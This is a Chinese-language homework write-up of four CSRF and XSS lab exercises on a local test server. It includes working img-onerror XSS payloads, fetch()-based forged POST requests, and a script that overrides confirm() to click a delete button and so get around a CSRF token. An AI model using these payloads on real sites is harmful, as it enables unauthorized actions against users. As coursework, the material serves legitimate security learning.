# Homework 2

## 第一题

经过观察、删除帖子的请求为:

GET http://10.10.17.36:33026/api.php?id=1&action=delete

经过转义和拼接,进行如下请求:

GET http://10.10.17.36:33026/admin.php? url=http%3A%2F%2F10.10.17.36%3A33026%2Fapi.php%3Fid%3D1%26action%3Ddel ete

访问后帖子删除, 题目完成。

这告诉我们 GET 请求是容易受到 CSRF 攻击的。

### 第二题

经过观察、删除帖子的请求为:

POST http://10.10.17.36:33028/api.php

POST 请求不能简单地通过 onerror 来执行,需要通过 JavaScript 来执行。

开始寻找 XSS 注入点,观察到如下潜在的不安全代码:

```
<script>
document.getElementById('check-flag-btn').addEventlener('click',
function() {
```

```
fetch('api.php?action=check_flag')
        .then(response => response.json())
        .then(data => {
            const resultDiv = document.getElementById('flag-result');
            if (data.success) {
                resultDiv.innerHTML = `
                        ${data.message}<br>
                        Flag: <strong>${data.flag}</strong>
            } else if (data.error) {
                resultDiv.innerHTML = `<div style="color: red;">错误:
${data.error}</div>`;
           } else {
                resultDiv.innerHTML = `<div>${data.message}</div>`;
        })
        .catch(error => {
            document.getElementById('flag-result').innerHTML =
                `<div style="color: red;">请求失败: ${error.message}
        });
});
</script>
```

为了进行 XSS 注入,构造如下内容进行测试:

```
</div><img src="a" onerror="alert()" /><div>
```

alert() 框弹出成功,说明存在 XSS 注入点。

从页面上拷贝修改得到如下 Payload:

```
fetch("api.php", { method: "POST", headers: {"Content-Type":
    "application/x-www-form-urlencoded"}, body: "id=1&action=delete" })
```

#### 嵌入后得到内容:

```
</div><img src="a" onerror='fetch("api.php", { method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"}, body:
"id=1&action=delete" })'/><div>
```

访问 http://10.10.17.36:33028/admin.php?url=http%3A%2F%2F10.10.17.36%3A33028,成功删除帖子。

### 第三题

打开网站,看起来没什么差别。经测试,XSS 漏洞依然存在。

尝试通过 XSS 漏洞进行 CSRF 攻击,发现使用上一题的 Payload 无法成功。

在 F12 中可以看到 Payload 代码被执行了,请求也被成功发送了,但是服务端返回了 403 Forbidden:

POST /api.php HTTP/1.1

Host: 10.10.17.36:33097

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0)

Gecko/20100101 Firefox/138.0

Accept: \*/\*

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://10.10.17.36:33097/index.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Origin: http://10.10.17.36:33097

Connection: keep-alive

#### Cookie:

GZCTF\_Token=CfDJ8LPN96FAEz9Ejg8tINhpsVsKd4\_tMLzJxFLHCDG60IK4VBPKjF91bczFCo0QsNOQma6CGKgXZgpsyIU9Q0wLtPk9U4fdd-

YVXpNhVtmlTDWRpBe\_nc3emfWKhw0PUqh877z26zizGKcThc7Y--

AXZwcYHTeXTB53n6YttBvUrJPu9MESWsFe71InZBb00P3k\_V2NfUgA6Q8kPsGhf6vDwra1 YWWxoqE7Leo9x6W-yeqCjI9je3I4rJZUjkPsKtcnDQbHncIQWWzqcsITM-iJNDB-

JMGl7CSgoYKatxPtmT6PbCX0oGAaPUb4kKdGFNnMrZSnpAFgx7b0xUHqfpDRaorm4KzW9hqL8-H-

ysa\_yxMjVCyZ7cfPwxXwdFgoGbiWWV15BVVB0kV8RpqkIESkjR28nPPQ0iWkoBzYGlgTTM oo9v8VLnVTSYi4hOtJZJe\_qe1e4FsnpHngSn0LNjFZ47IsL-ppWp\_vtJ1mk-stWQcGEnJyvDijv0Pb-

AUEtuvNDWhwEV20DaAaHtyReG2lcjZT5T2748PWCEZTUjVVfIi\_4mD-

kGVF1oGeJjGvRfJegX6WAhekzaQCYd7Swh9q-

dIxd8Gj7bibWJqaFfGE5HSgPjTPrlMJQ3xRi37W6NkFMo9isCouwhoIxp2SB-

Ko665Ia8nN5xcGmW9zii9Mh-cXzxNZA7uSHXHNxFYXjXdevb0VuPZW1-

ihaE3kGsKz2ajkGQRpcKwGywEMEkYBUkwB;

PHPSESSID=svori2nbv27i398pee5t00ros2

Priority: u=4

id=1&action=delete

HTTP/1.1 403 Forbidden

Server: nginx/1.18.0

Date: Wed, 07 May 2025 10:47:10 GMT

Content-Type: application/json; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/7.3.22

Access-Control-Allow-Origin: \*

Access-Control-Allow-Methods: GET, POST

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

{"error":"\u65e0\u6548\u7684CSRF token"}

```
<script>
   document.addEventlener('DOMContentLoaded', function() {
        const postsContainer = document.getElementById('posts-
container');
        fetch('api.php')
            .then(response => response.json())
            .then(posts => {
                postsContainer.innerHTML = '';
                if (posts.length === 0) {
                    postsContainer.innerHTML = '<div class="post">暂无
帖子</div>';
                    return;
                posts.forEach(post => {
                    const postElement = document.createElement('div');
                    postElement.className = 'post';
                    postElement.innerHTML = `
                            <span class="author">作者: ${post.author ||
'匿名'}</span>
                            <span class="post-id">(ID: ${post.id})
</span>
                            <button class="delete-btn" data-</pre>
id="${post.id}">删除</button>
                        <div class="content">${post.content || '无内
                    postsContainer.appendChild(postElement);
               });
                // 添加删除按钮事件监听
```

```
document.querySelectorAll('.delete-btn').forEach(btn
                   btn.addEventlener('click', function() {
                       const postId = this.getAttribute('data-id');
                       deletePost(postId);
                   });
               });
           })
            .catch(error => {
               console.error('获取帖子出错:', error);
               postsContainer.innerHTML =
                   <div class="error">
                       加载帖子失败: ${error.message}<br>
                       请刷新页面重试或联系管理员。
           });
       // 删除帖子的函数
        function deletePost(postId) {
           if (!confirm('确定要删除这条帖子吗?')) return;
           fetch(`api.php`, {
               method: 'POST',
               headers: {
                   'Content-Type': 'application/x-www-form-
urlencoded',
               },
               body:
`id=${postId}&action=delete&csrf_token=a5e8f32bc68348d2f9ed746659bf301
d74cfedf5078091b063d3c7b7b854a963
           })
            .then(response => {
               if (!response.ok) {
                   throw new Error('删除失败');
```

```
return response.json();

})
.then(data => {
        alert('删除成功');
        location.reload(); // 刷新页面

})
.catch(error => {
        console.error('删除出错:', error);
        alert('删除失败: ' + error.message);
     });

}

});
</script>
```

立即想到,既然已经有 XSS 漏洞可以利用了,那只需要直接调用前端的 deletePost 函数即可。尝试构造 Payload:

```
b2 = alert;
alert = () => {};
st = setTimeout;
st(() => {
    b1 = confirm;
    confirm = () => true;
    alert = () => {};
    l = document.getElementsByClassName('delete-btn');
    l[l.length - 1].click();
    confirm = b1;
}, 1000);
st(() => {
    alert = b2;
}, 2000);
```

嵌入后得到内容:

```
</div><img src="x" onerror="b2=alert;alert=()=>
{};st=setTimeout;st(()=>{b1=confirm;confirm=()=>true;alert=()=>
{};l=document.getElementsByClassName('delete-btn');l[l.length-
1].click();confirm=b1;},1000);st(()=>{alert=b2;}, 2000);"><div>
```

发布上述内容后访问 http://10.10.17.36:33097/admin.php? url=http%3A%2F%2F10.10.17.36%3A33097 ,成功删除帖子。

# 第四题

打开网站,看起来没什么差别。经测试, XSS 漏洞依然存在。

尝试上一题的 Payload, 发现直接成功了。